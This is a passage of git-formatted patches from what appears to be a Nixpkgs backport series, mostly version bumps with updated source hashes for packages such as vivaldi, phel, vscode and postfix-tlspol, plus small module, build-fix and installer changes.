   pname = "wdisplays";
-  version = "1.1.1";
+  version = "1.1.3";
 
   nativeBuildInputs = [
     meson
@@ -34,7 +34,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "artizirk";
     repo = "wdisplays";
     rev = finalAttrs.version;
-    sha256 = "sha256-dtvP930ChiDRT60xq6xBDU6k+zHnkrAkxkKz2FxlzRs=";
+    sha256 = "sha256-KabaW2BH4zAS0xWkzCM8YaAnP/hkZL7Wq3EARantRis=";
   };
 
   meta = with lib; {

From 3b5f0b9ca6552aa8b52b7477014f6fdd99f060fd Mon Sep 17 00:00:00 2001
From: Savyasachee Jha <genghizkhan91@hawkradius.com>
Date: Thu, 24 Jul 2025 17:24:36 +0200
Subject: [PATCH 2925/4511] nixosTests.firefly-iii: Added meta.platforms so
 that tests are skipped appropriately

(cherry picked from commit 91a1beec911855511f3ed8e999faf3d82a16450d)
---
 nixos/tests/firefly-iii.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/nixos/tests/firefly-iii.nix b/nixos/tests/firefly-iii.nix
index 35a695a057ac..bc55b689cf8e 100644
--- a/nixos/tests/firefly-iii.nix
+++ b/nixos/tests/firefly-iii.nix
@@ -6,7 +6,10 @@ let
 in
 {
   name = "firefly-iii";
-  meta.maintainers = [ lib.maintainers.savyajha ];
+  meta = {
+    maintainers = [ lib.maintainers.savyajha ];
+    platforms = lib.platforms.linux;
+  };
 
   nodes.fireflySqlite =
     { config, ... }:

From b734585a64a7948bd5b2375b224557209beb87e5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 26 Jul 2025 15:13:56 +0000
Subject: [PATCH 2926/4511] vivaldi: 7.5.3735.54 -> 7.5.3735.56

(cherry picked from commit 5948d9e51e6f34d5ecf75bbef8a16ce2acf86e17)
---
 pkgs/by-name/vi/vivaldi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index 5c0b04eba27d..6d774e0541fe 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -66,7 +66,7 @@
 
 stdenv.mkDerivation rec {
   pname = "vivaldi";
-  version = "7.5.3735.54";
+  version = "7.5.3735.56";
 
   suffix =
     {
@@ -79,8 +79,8 @@ stdenv.mkDerivation rec {
     url = "https://downloads.vivaldi.com/stable/vivaldi-stable_${version}-1_${suffix}.deb";
     hash =
       {
-        aarch64-linux = "sha256-wgvqNeRrwPHmv4DNlo69mCJ+/cNOv2ZwvEnijTZke+s=";
-        x86_64-linux = "sha256-Wey4X3GUN1HnJsrEo0E/Zr7ozZiw8DyVYh2jQ67wFM0=";
+        aarch64-linux = "sha256-bHOmd5+YtSd8ZupIPOlPtTIJ5OrDcDMQSk6xq2Y811M=";
+        x86_64-linux = "sha256-yFaHtPTYAK/dOOTyWN8tDs7XJX93mg4OCt8dPd3ScJ8=";
       }
       .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   };

From 74a469b1ddb795f372d4f51438918730f8774680 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 2 Jun 2025 12:03:09 +0000
Subject: [PATCH 2927/4511] phel: 0.16.1 -> 0.17.0

(cherry picked from commit c8fa587d2fe57a0eb66707e6ef46140881401c9b)
---
 pkgs/by-name/ph/phel/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ph/phel/package.nix b/pkgs/by-name/ph/phel/package.nix
index 1cf285f3eeee..cebea03729cc 100644
--- a/pkgs/by-name/ph/phel/package.nix
+++ b/pkgs/by-name/ph/phel/package.nix
@@ -7,16 +7,16 @@
 
 php.buildComposerProject2 (finalAttrs: {
   pname = "phel";
-  version = "0.16.1";
+  version = "0.17.0";
 
   src = fetchFromGitHub {
     owner = "phel-lang";
     repo = "phel-lang";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-irN1Dnov6vDiU4xGsf2nxz7/kz1YOMq0yOLYt4HY1EM=";
+    hash = "sha256-iS887QNUphe+czx1IEz+uESBqee73/mHzmg2Fvi26do=";
   };
 
-  vendorHash = "sha256-SDLpl2gBvtVjREfcy1WDFqsGRK1fKr2wKPuBkPhApNI=";
+  vendorHash = "sha256-lhxgL41gyHVOv1MqjwwnWQTQZz4WU2kWGCSV2EZoJrg=";
 
   doInstallCheck = true;
   nativeInstallCheckInputs = [ versionCheckHook ];

From e7d3191a4e6418514699bef71404fecc5cbe7ce8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 12 Jun 2025 21:26:55 +0000
Subject: [PATCH 2928/4511] phel: 0.17.0 -> 0.18.0

(cherry picked from commit dba1c836ad45a1c5cb5a19c2b688bc7af5c5a7d9)
---
 pkgs/by-name/ph/phel/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ph/phel/package.nix b/pkgs/by-name/ph/phel/package.nix
index cebea03729cc..83cd031815b2 100644
--- a/pkgs/by-name/ph/phel/package.nix
+++ b/pkgs/by-name/ph/phel/package.nix
@@ -7,16 +7,16 @@
 
 php.buildComposerProject2 (finalAttrs: {
   pname = "phel";
-  version = "0.17.0";
+  version = "0.18.0";
 
   src = fetchFromGitHub {
     owner = "phel-lang";
     repo = "phel-lang";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-iS887QNUphe+czx1IEz+uESBqee73/mHzmg2Fvi26do=";
+    hash = "sha256-5FwYBt1v1zhOnv4Q4zvWUxnVnOeV6rpdSW9i8ptVpW4=";
   };
 
-  vendorHash = "sha256-lhxgL41gyHVOv1MqjwwnWQTQZz4WU2kWGCSV2EZoJrg=";
+  vendorHash = "sha256-mLSxlPzS/uSNEu7BnQR9yaj3OCSqMe5DHqkLI8dG6SQ=";
 
   doInstallCheck = true;
   nativeInstallCheckInputs = [ versionCheckHook ];

From 1d86f62edf801b01f1f2e0d05448ab86058783bc Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 22 Jun 2025 03:39:18 +0000
Subject: [PATCH 2929/4511] phel: 0.18.0 -> 0.18.1

(cherry picked from commit acdb7d4da2c206ee9afebfd4b6ce84fc9f02581c)
---
 pkgs/by-name/ph/phel/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ph/phel/package.nix b/pkgs/by-name/ph/phel/package.nix
index 83cd031815b2..9d14d111067c 100644
--- a/pkgs/by-name/ph/phel/package.nix
+++ b/pkgs/by-name/ph/phel/package.nix
@@ -7,16 +7,16 @@
 
 php.buildComposerProject2 (finalAttrs: {
   pname = "phel";
-  version = "0.18.0";
+  version = "0.18.1";
 
   src = fetchFromGitHub {
     owner = "phel-lang";
     repo = "phel-lang";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-5FwYBt1v1zhOnv4Q4zvWUxnVnOeV6rpdSW9i8ptVpW4=";
+    hash = "sha256-YwmDTj1uc71rpp5Iq/7cDq0gLLy8Bh96bu0RaYqi5J0=";
   };
 
-  vendorHash = "sha256-mLSxlPzS/uSNEu7BnQR9yaj3OCSqMe5DHqkLI8dG6SQ=";
+  vendorHash = "sha256-zZK4v9IncoOurf2yUeFqwmAkqsMBlLfuZTUm9cWQBCA=";
 
   doInstallCheck = true;
   nativeInstallCheckInputs = [ versionCheckHook ];

From 09e53f298d34219e1a29953a4983e629b32367a6 Mon Sep 17 00:00:00 2001
From: Weijia Wang <9713184+wegank@users.noreply.github.com>
Date: Wed, 25 Jun 2025 17:15:32 +0200
Subject: [PATCH 2930/4511] rectangle: 0.87 -> 0.88

(cherry picked from commit f6bd6c4f2be5d25f23df0ba43d06503250a0a7b1)
---
 pkgs/by-name/re/rectangle/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/re/rectangle/package.nix b/pkgs/by-name/re/rectangle/package.nix
index 205136b591bd..2152a2b32c57 100644
--- a/pkgs/by-name/re/rectangle/package.nix
+++ b/pkgs/by-name/re/rectangle/package.nix
@@ -8,11 +8,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "rectangle";
-  version = "0.87";
+  version = "0.88";
 
   src = fetchurl {
     url = "https://github.com/rxhanson/Rectangle/releases/download/v${finalAttrs.version}/Rectangle${finalAttrs.version}.dmg";
-    hash = "sha256-onXzRRUvr3WiVn9JZxVLqXFcCmFG/u1n+oOsTEQMi+8=";
+    hash = "sha256-Yyvnu8n+mA+0CX5xbtOs9ZjG99exTT1oj3iGixDotUc=";
   };
 
   sourceRoot = ".";

From 9701a002c667f6cb748273fd363ef09c360a384e Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Wed, 23 Jul 2025 00:04:20 +0300
Subject: [PATCH 2931/4511] rectangle: 0.88 -> 0.89

Changelog: https://github.com/rxhanson/Rectangle/releases/tag/v0.89
Diff: https://github.com/rxhanson/Rectangle/compare/v0.88...v0.89
(cherry picked from commit 66cbc208f66cc0e75b36918878cae3da509dce8d)
---
 pkgs/by-name/re/rectangle/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/re/rectangle/package.nix b/pkgs/by-name/re/rectangle/package.nix
index 2152a2b32c57..241cb1f80432 100644
--- a/pkgs/by-name/re/rectangle/package.nix
+++ b/pkgs/by-name/re/rectangle/package.nix
@@ -8,11 +8,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "rectangle";
-  version = "0.88";
+  version = "0.89";
 
   src = fetchurl {
     url = "https://github.com/rxhanson/Rectangle/releases/download/v${finalAttrs.version}/Rectangle${finalAttrs.version}.dmg";
-    hash = "sha256-Yyvnu8n+mA+0CX5xbtOs9ZjG99exTT1oj3iGixDotUc=";
+    hash = "sha256-eI3C+nDJhxKwbCLRKepoGmbyWKGCxEuMSK3D0sZbDU0=";
   };
 
   sourceRoot = ".";

From 1f49cb2a08453a20b804639d28952882e20dcf2e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 3 Jul 2025 18:21:06 +0000
Subject: [PATCH 2932/4511] slimevr: 0.15.0 -> 0.16.0

(cherry picked from commit ffec6b6e3e79a27abe607aa25784ba33a2472948)
---
 pkgs/by-name/sl/slimevr-server/deps.json | 18 +++++++++---------
 pkgs/by-name/sl/slimevr/package.nix      |  6 +++---
 2 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/sl/slimevr-server/deps.json b/pkgs/by-name/sl/slimevr-server/deps.json
index b1ba523df9b6..0a9f2605b5b9 100644
--- a/pkgs/by-name/sl/slimevr-server/deps.json
+++ b/pkgs/by-name/sl/slimevr-server/deps.json
@@ -20,10 +20,10 @@
    "jar": "sha256-At4T7JOk5Ary/jGDErygVFkglIQ37CdG98idweqySAQ=",
    "pom": "sha256-aEgGw0Vfw3gG0B4RCADfpb1wmQBtXY4c0jwryNaS3yY="
   },
-  "loucass003#EspflashKotlin/v0.10.0": {
-   "jar": "sha256-ORIPUdeqSAhXBuXmPkmyZ6gS8EFnwYkvUtgXFttKIwU=",
-   "module": "sha256-6IMNElGmZLIg/qqVYFdFoHxZIK+YYsT4rBTzyM86FW8=",
-   "pom": "sha256-4ni1oElb85tIe9C0diwh20pgxVUA0c8PX1JZhgomdgo="
+  "loucass003#EspflashKotlin/v0.11.0": {
+   "jar": "sha256-JjFP8WfEvQA8QfKwSQ3EL+LcihGOEsEobFnCfLz/wK8=",
+   "module": "sha256-M9dHPREom7PongBx9lIIJYNAxh3ed9nCcFsqjSfa2ng=",
+   "pom": "sha256-5dGKuzEH67lOmuyc2CJdxWhWyS7tZVMFTvaKw+IBZT8="
   }
  },
  "https://oss.sonatype.org/content/repositories/snapshots": {
@@ -595,15 +595,15 @@
    "module": "sha256-tJZEwfTNkvRk844MXEwqFJp7s+0VsyrJCO5XypCHfqg=",
    "pom": "sha256-qRWJAaDp8uNB+jtHPwK7mOIC+gkY1Fxo3/n602z+X2Y="
   },
-  "com/melloware#jintellitype/1.5.0": {
-   "jar": "sha256-jf+mMUTxKiDf70/Zm9OeyQSxS0TPR8CeGOy3G4Hze1g=",
-   "pom": "sha256-e1E2mFo87oyeK/FQR1K/++7WyQwTCLsrX5//sNwBvao="
+  "com/melloware#jintellitype/1.5.6": {
+   "jar": "sha256-Ocg8asI4sopzRAiIhBYr+MmY3z5ipGteBtq0y08Q+1s=",
+   "pom": "sha256-oHvWfANoBK+t3hnGbtlCSQdjxnRqSTdlQB0LxPlY40s="
   },
   "com/melloware/jintellitype/maven-metadata": {
    "xml": {
     "groupId": "com.melloware",
-    "lastUpdated": "20250413134243",
-    "release": "1.5.0"
+    "lastUpdated": "20250523184542",
+    "release": "1.5.6"
    }
   },
   "com/typesafe#config/1.4.3": {
diff --git a/pkgs/by-name/sl/slimevr/package.nix b/pkgs/by-name/sl/slimevr/package.nix
index 19ae6cceb215..039e001de7ac 100644
--- a/pkgs/by-name/sl/slimevr/package.nix
+++ b/pkgs/by-name/sl/slimevr/package.nix
@@ -21,13 +21,13 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "slimevr";
-  version = "0.15.0";
+  version = "0.16.0";
 
   src = fetchFromGitHub {
     owner = "SlimeVR";
     repo = "SlimeVR-Server";
     rev = "v${version}";
-    hash = "sha256-Sc51fGUXc9FCTO7wVy9hkZiOe0RYefVasp+jCeWl844=";
+    hash = "sha256-ZYL+aBrADbzSXnhFzxNk8xRrY0WHmHCtVaC6VfXfLJw=";
     # solarxr
     fetchSubmodules = true;
   };
@@ -40,7 +40,7 @@ rustPlatform.buildRustPackage rec {
     pname = "${pname}-pnpm-deps";
     inherit version src;
     fetcherVersion = 1;
-    hash = "sha256-xCID9JOFEswsTbE5Dh6ZAkhhyy4eMuqkme54IdWfcks=";
+    hash = "sha256-lh5IKdBXuH9GZFUTrzaQFDWCEYj0UJhKwCdPmsiwfCs=";
   };
 
   nativeBuildInputs = [

From 810f9d6654d1a300ca742b78e77e7a7803bb4394 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 9 Jul 2025 12:44:20 +0000
Subject: [PATCH 2933/4511] mdp: 1.0.15 -> 1.0.17

(cherry picked from commit 1688920298030e84e51f93f7c3e883fdbde05c33)
---
 pkgs/by-name/md/mdp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/md/mdp/package.nix b/pkgs/by-name/md/mdp/package.nix
index d2b979d83f4f..cc36c93783de 100644
--- a/pkgs/by-name/md/mdp/package.nix
+++ b/pkgs/by-name/md/mdp/package.nix
@@ -6,14 +6,14 @@
 }:
 
 stdenv.mkDerivation rec {
-  version = "1.0.15";
+  version = "1.0.17";
   pname = "mdp";
 
   src = fetchFromGitHub {
     owner = "visit1985";
     repo = "mdp";
     rev = version;
-    sha256 = "1m9a0vvyw2m55cn7zcq011vrjkiaj5a3g5g6f2dpq953gyi7gff9";
+    sha256 = "sha256-g9+bqMoUpcRL1pcNqaeMR3l5uHuiEpDZj/6YmyOSn7k=";
   };
 
   makeFlags = [ "PREFIX=$(out)" ];

From 482dc4fbf6ff998c1992c10693100e372598e5c3 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 26 Jul 2025 11:33:06 +0000
Subject: [PATCH 2934/4511] mdp: 1.0.17 -> 1.0.18

(cherry picked from commit f7226276914392ab86d8b2e408f77b76626ca10f)
---
 pkgs/by-name/md/mdp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/md/mdp/package.nix b/pkgs/by-name/md/mdp/package.nix
index cc36c93783de..d0a96c8796b1 100644
--- a/pkgs/by-name/md/mdp/package.nix
+++ b/pkgs/by-name/md/mdp/package.nix
@@ -6,14 +6,14 @@
 }:
 
 stdenv.mkDerivation rec {
-  version = "1.0.17";
+  version = "1.0.18";
   pname = "mdp";
 
   src = fetchFromGitHub {
     owner = "visit1985";
     repo = "mdp";
     rev = version;
-    sha256 = "sha256-g9+bqMoUpcRL1pcNqaeMR3l5uHuiEpDZj/6YmyOSn7k=";
+    sha256 = "sha256-7ltqnvNzdr+sJiiiCQpp25dzhOrcUCOAgMTt1RIgVTw=";
   };
 
   makeFlags = [ "PREFIX=$(out)" ];

From ead9bfd3cf341b1f768e0f44e4cca547c682deb5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 19 May 2025 16:39:55 +0000
Subject: [PATCH 2935/4511] postfix-tlspol: 1.8.9 -> 1.8.10

(cherry picked from commit e804d7f7705418e6685730a10ca9fa2fb6320ff5)
---
 pkgs/by-name/po/postfix-tlspol/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/postfix-tlspol/package.nix b/pkgs/by-name/po/postfix-tlspol/package.nix
index 6ae2c9e02398..05833c8f624d 100644
--- a/pkgs/by-name/po/postfix-tlspol/package.nix
+++ b/pkgs/by-name/po/postfix-tlspol/package.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "postfix-tlspol";
-  version = "1.8.9";
+  version = "1.8.10";
 
   src = fetchFromGitHub {
     owner = "Zuplu";
     repo = "postfix-tlspol";
     tag = "v${version}";
-    hash = "sha256-SsZyK+DN93o6HgTSAza2ppwHuqoW2strmE/uotuBIAM=";
+    hash = "sha256-UAAjvu/nWF9Q60n+Fojw/a6CsgY6iI5qjKv2nsBuzvo=";
   };
 
   vendorHash = null;

From b29b1ffc562000f332ca53d90286a84102acd05d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 5 Jun 2025 05:45:17 +0000
Subject: [PATCH 2936/4511] postfix-tlspol: 1.8.10 -> 1.8.11

(cherry picked from commit 97799403ff162117d3e46ae86e25bd64764da4ad)
---
 pkgs/by-name/po/postfix-tlspol/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/postfix-tlspol/package.nix b/pkgs/by-name/po/postfix-tlspol/package.nix
index 05833c8f624d..69a89a8b8319 100644
--- a/pkgs/by-name/po/postfix-tlspol/package.nix
+++ b/pkgs/by-name/po/postfix-tlspol/package.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "postfix-tlspol";
-  version = "1.8.10";
+  version = "1.8.11";
 
   src = fetchFromGitHub {
     owner = "Zuplu";
     repo = "postfix-tlspol";
     tag = "v${version}";
-    hash = "sha256-UAAjvu/nWF9Q60n+Fojw/a6CsgY6iI5qjKv2nsBuzvo=";
+    hash = "sha256-hQSJ0bp3ghfi5chislf2zuCrvPhhoA0jjChRdGYHcFY=";
   };
 
   vendorHash = null;

From cd303ff41b155aaa0b19ac6309e83220b3e01bc0 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 10 Jul 2025 17:28:55 +0200
Subject: [PATCH 2937/4511] postfix-tlspol: 1.8.11 -> 1.8.12

https://github.com/Zuplu/postfix-tlspol/releases/tag/v1.8.12
(cherry picked from commit a18cef075407d5b9e9539e359294a8250806991c)
---
 pkgs/by-name/po/postfix-tlspol/package.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/postfix-tlspol/package.nix b/pkgs/by-name/po/postfix-tlspol/package.nix
index 69a89a8b8319..17622fcf2592 100644
--- a/pkgs/by-name/po/postfix-tlspol/package.nix
+++ b/pkgs/by-name/po/postfix-tlspol/package.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "postfix-tlspol";
-  version = "1.8.11";
+  version = "1.8.12";
 
   src = fetchFromGitHub {
     owner = "Zuplu";
     repo = "postfix-tlspol";
     tag = "v${version}";
-    hash = "sha256-hQSJ0bp3ghfi5chislf2zuCrvPhhoA0jjChRdGYHcFY=";
+    hash = "sha256-OBGBjbLnyDKz/UK5th1k/gfxHjBGxyWQKgiXuuJNf8Q=";
   };
 
   vendorHash = null;
@@ -28,6 +28,7 @@ buildGoModule rec {
   };
 
   meta = {
+    changelog = "https://github.com/Zuplu/postfix-tlspol/releases/tag/${src.tag}";
     description = "Lightweight MTA-STS + DANE/TLSA resolver and TLS policy server for Postfix, prioritizing DANE.";
     homepage = "https://github.com/Zuplu/postfix-tlspol";
     license = lib.licenses.mit;

From c50fcdd3131231ee0ba17317a5eb220d6cbef048 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 11 Jul 2025 03:08:18 +0200
Subject: [PATCH 2938/4511] nixos/postfix-tlspol: only preset dns resolver with
 useLocalResolver

This is the best indicator we have about whether to use a local resolver.

In the meantime I'm lobbying upstream to read /etc/resolv.conf.

(cherry picked from commit b2019639511ac305f6d79eeab74e41d76028a402)
---
 nixos/modules/services/mail/postfix-tlspol.nix | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/mail/postfix-tlspol.nix b/nixos/modules/services/mail/postfix-tlspol.nix
index 3aa8c1cd88da..71501e25d949 100644
--- a/nixos/modules/services/mail/postfix-tlspol.nix
+++ b/nixos/modules/services/mail/postfix-tlspol.nix
@@ -8,6 +8,7 @@
 let
   inherit (lib)
     hasPrefix
+    literalExpression
     mkEnableOption
     mkIf
     mkMerge
@@ -92,7 +93,13 @@ in
           dns = {
             address = mkOption {
               type = types.str;
-              default = "127.0.0.1:53";
+              default = if config.networking.resolvconf.useLocalResolver then "127.0.0.1:53" else null;
+              defaultText = literalExpression ''
+                if config.networking.resolvconf.useLocalResolver then
+                  "127.0.0.1:53"
+                else
+                  null
+              '';
               description = ''
                 IP and port to your DNS resolver
 

From 3856b699f3221dce6285b6dfe3d49ca7edccaa86 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 11 Jul 2025 03:20:39 +0200
Subject: [PATCH 2939/4511] postfix-tlspol: adopt package and module

(cherry picked from commit e6445e42fa4e24b9a2d4657cb2b0a2ac15a3d01c)
---
 nixos/modules/services/mail/postfix-tlspol.nix | 2 ++
 pkgs/by-name/po/postfix-tlspol/package.nix     | 5 ++++-
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/mail/postfix-tlspol.nix b/nixos/modules/services/mail/postfix-tlspol.nix
index 71501e25d949..e7104d79b4fe 100644
--- a/nixos/modules/services/mail/postfix-tlspol.nix
+++ b/nixos/modules/services/mail/postfix-tlspol.nix
@@ -24,6 +24,8 @@ let
 in
 
 {
+  meta.maintainers = pkgs.postfix-tlspol.meta.maintainers;
+
   options.services.postfix-tlspol = {
     enable = mkEnableOption "postfix-tlspol";
 
diff --git a/pkgs/by-name/po/postfix-tlspol/package.nix b/pkgs/by-name/po/postfix-tlspol/package.nix
index 17622fcf2592..6a9ccca72fa6 100644
--- a/pkgs/by-name/po/postfix-tlspol/package.nix
+++ b/pkgs/by-name/po/postfix-tlspol/package.nix
@@ -32,7 +32,10 @@ buildGoModule rec {
     description = "Lightweight MTA-STS + DANE/TLSA resolver and TLS policy server for Postfix, prioritizing DANE.";
     homepage = "https://github.com/Zuplu/postfix-tlspol";
     license = lib.licenses.mit;
-    maintainers = with lib.maintainers; [ valodim ];
+    maintainers = with lib.maintainers; [
+      hexa
+      valodim
+    ];
     mainProgram = "postfix-tlspol";
   };
 }

From 3fae474b46b914cd3f5d43e7af0e2e3defda5b90 Mon Sep 17 00:00:00 2001
From: PhiliPdB <phlpdbrn@gmail.com>
Date: Sat, 26 Jul 2025 14:27:14 +0200
Subject: [PATCH 2940/4511] vscode: 1.102.1 -> 1.102.2

(cherry picked from commit d3c206d85c1e89df0ec1c5614630d4d75e1e2f6c)
---
 pkgs/applications/editors/vscode/vscode.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/editors/vscode/vscode.nix b/pkgs/applications/editors/vscode/vscode.nix
index 86ba77433807..cb4eaa9110b3 100644
--- a/pkgs/applications/editors/vscode/vscode.nix
+++ b/pkgs/applications/editors/vscode/vscode.nix
@@ -36,22 +36,22 @@ let
 
   hash =
     {
-      x86_64-linux = "sha256-rUAu69aUjLQsDT5hK8E5yWiMdVfNFqwx9aA8op1ZYj8=";
-      x86_64-darwin = "sha256-BOrLjZsA9QFtcsvgsohZbCRRRqTHhn043HHIpl40kPA=";
-      aarch64-linux = "sha256-DBthRZDeJF6xksMWGvXIC7vdTkQCyjt+oHUI+FbLBrU=";
-      aarch64-darwin = "sha256-TWa2jMRBR0a0SOUkrnZw6Ej3cRGdZd0Gw5Obt11M45k=";
-      armv7l-linux = "sha256-SYrXdEzIYG/2ih3vqCTfIo+6jTvMJe+rIOzNQXfd+es=";
+      x86_64-linux = "sha256-BzJWy/dxOhHilMKh1+w4W569MFudBKAU4fycrYLLW/0=";
+      x86_64-darwin = "sha256-dPtStLcmFm9Zf3gRYz/37qHvV3hEfV3nW/N7TVjI8B8=";
+      aarch64-linux = "sha256-x4f7y2r0CBE8ubwnQNmCIjQOA07/6qW563FqFnn6V5Q=";
+      aarch64-darwin = "sha256-c64gB5t0U0glgcfMlCvVBphQ3rsX758vCUFPVNWqTJY=";
+      armv7l-linux = "sha256-I2uhURbxv1aGruOn28xCssGxPjvEs9qzTfRIZFiKVRI=";
     }
     .${system} or throwSystem;
 in
 callPackage ./generic.nix rec {
   # Please backport all compatible updates to the stable release.
   # This is important for the extension ecosystem.
-  version = "1.102.1";
+  version = "1.102.2";
   pname = "vscode" + lib.optionalString isInsiders "-insiders";
 
   # This is used for VS Code - Remote SSH test
-  rev = "7adae6a56e34cb64d08899664b814cf620465925";
+  rev = "c306e94f98122556ca081f527b466015e1bc37b0";
 
   executableName = "code" + lib.optionalString isInsiders "-insiders";
   longName = "Visual Studio Code" + lib.optionalString isInsiders " - Insiders";
@@ -75,7 +75,7 @@ callPackage ./generic.nix rec {
     src = fetchurl {
       name = "vscode-server-${rev}.tar.gz";
       url = "https://update.code.visualstudio.com/commit:${rev}/server-linux-x64/stable";
-      hash = "sha256-EP5xCkCSMROB60OmDFWVWF9qHqW8pjKWPh6mSUU5E7A=";
+      hash = "sha256-tvbyqgH8nF0mui0UnDAvN2LdjcB8GQVbSg48cwe6BFA=";
     };
     stdenv = stdenvNoCC;
   };

From 2ab749af9ec0b3085ea9aa7fa3496a38e8e25d0d Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Fri, 25 Jul 2025 12:37:44 +0200
Subject: [PATCH 2941/4511] zeromq: Fix cross-compilation

(cherry picked from commit f1ca05eb9d0e2fa1e13912e24ea9d481e6520a79)
---
 pkgs/by-name/ze/zeromq/package.nix | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ze/zeromq/package.nix b/pkgs/by-name/ze/zeromq/package.nix
index 845aef375bc5..918099c8b624 100644
--- a/pkgs/by-name/ze/zeromq/package.nix
+++ b/pkgs/by-name/ze/zeromq/package.nix
@@ -8,6 +8,7 @@
   asciidoc,
   xmlto,
   enableDrafts ? false,
+  fetchpatch,
   # for passthru.tests
   azmq,
   cppzmq,
@@ -25,10 +26,20 @@ stdenv.mkDerivation (finalAttrs: {
   src = fetchFromGitHub {
     owner = "zeromq";
     repo = "libzmq";
-    rev = "v${finalAttrs.version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-q2h5y0Asad+fGB9haO4Vg7a1ffO2JSb7czzlhmT3VmI=";
   };
 
+  # Use proper STREQUAL instead of EQUAL to compare strings
+  # See: https://github.com/zeromq/libzmq/pull/4711
+  patches = [
+    (fetchpatch {
+      url = "https://github.com/zeromq/libzmq/pull/4711/commits/55bd6b3df06734730d3012c17bc26681e25b549d.patch";
+      hash = "sha256-/FVah+s7f1hWXv3MXkYfIiV1XAiMVDa0tmt4BQmSgmY=";
+      name = "cacheline_undefined.patch";
+    })
+  ];
+
   strictDeps = true;
 
   nativeBuildInputs = [

From ebb3620e761b8cfe59f47f4997326d45ef8a96d5 Mon Sep 17 00:00:00 2001
From: NullCube <nullcub3@gmail.com>
Date: Sat, 19 Jul 2025 21:28:15 -0700
Subject: [PATCH 2942/4511] installer/nixos-generate-config: remove
 broadcom_sta

Resolves the installer failing on devices that include this hardware, as
broadcom_sta was marked as insecure due to being unmaintained and having
active CVE's.

This commit be reverted when/if the installer has a mechanism for allowing
insecure packages.

(cherry picked from commit 9c9f467d4931dcc577221d847e108458936179f8)
---
 .../installer/tools/nixos-generate-config.pl      | 15 ---------------
 1 file changed, 15 deletions(-)

diff --git a/nixos/modules/installer/tools/nixos-generate-config.pl b/nixos/modules/installer/tools/nixos-generate-config.pl
index ae09839d071d..c96677a3a64f 100644
--- a/nixos/modules/installer/tools/nixos-generate-config.pl
+++ b/nixos/modules/installer/tools/nixos-generate-config.pl
@@ -170,21 +170,6 @@ sub pciCheck {
         }
     }
 
-    # broadcom STA driver (wl.ko)
-    # list taken from http://www.broadcom.com/docs/linux_sta/README.txt
-    if ($vendor eq "0x14e4" &&
-        ($device eq "0x4311" || $device eq "0x4312" || $device eq "0x4313" ||
-         $device eq "0x4315" || $device eq "0x4327" || $device eq "0x4328" ||
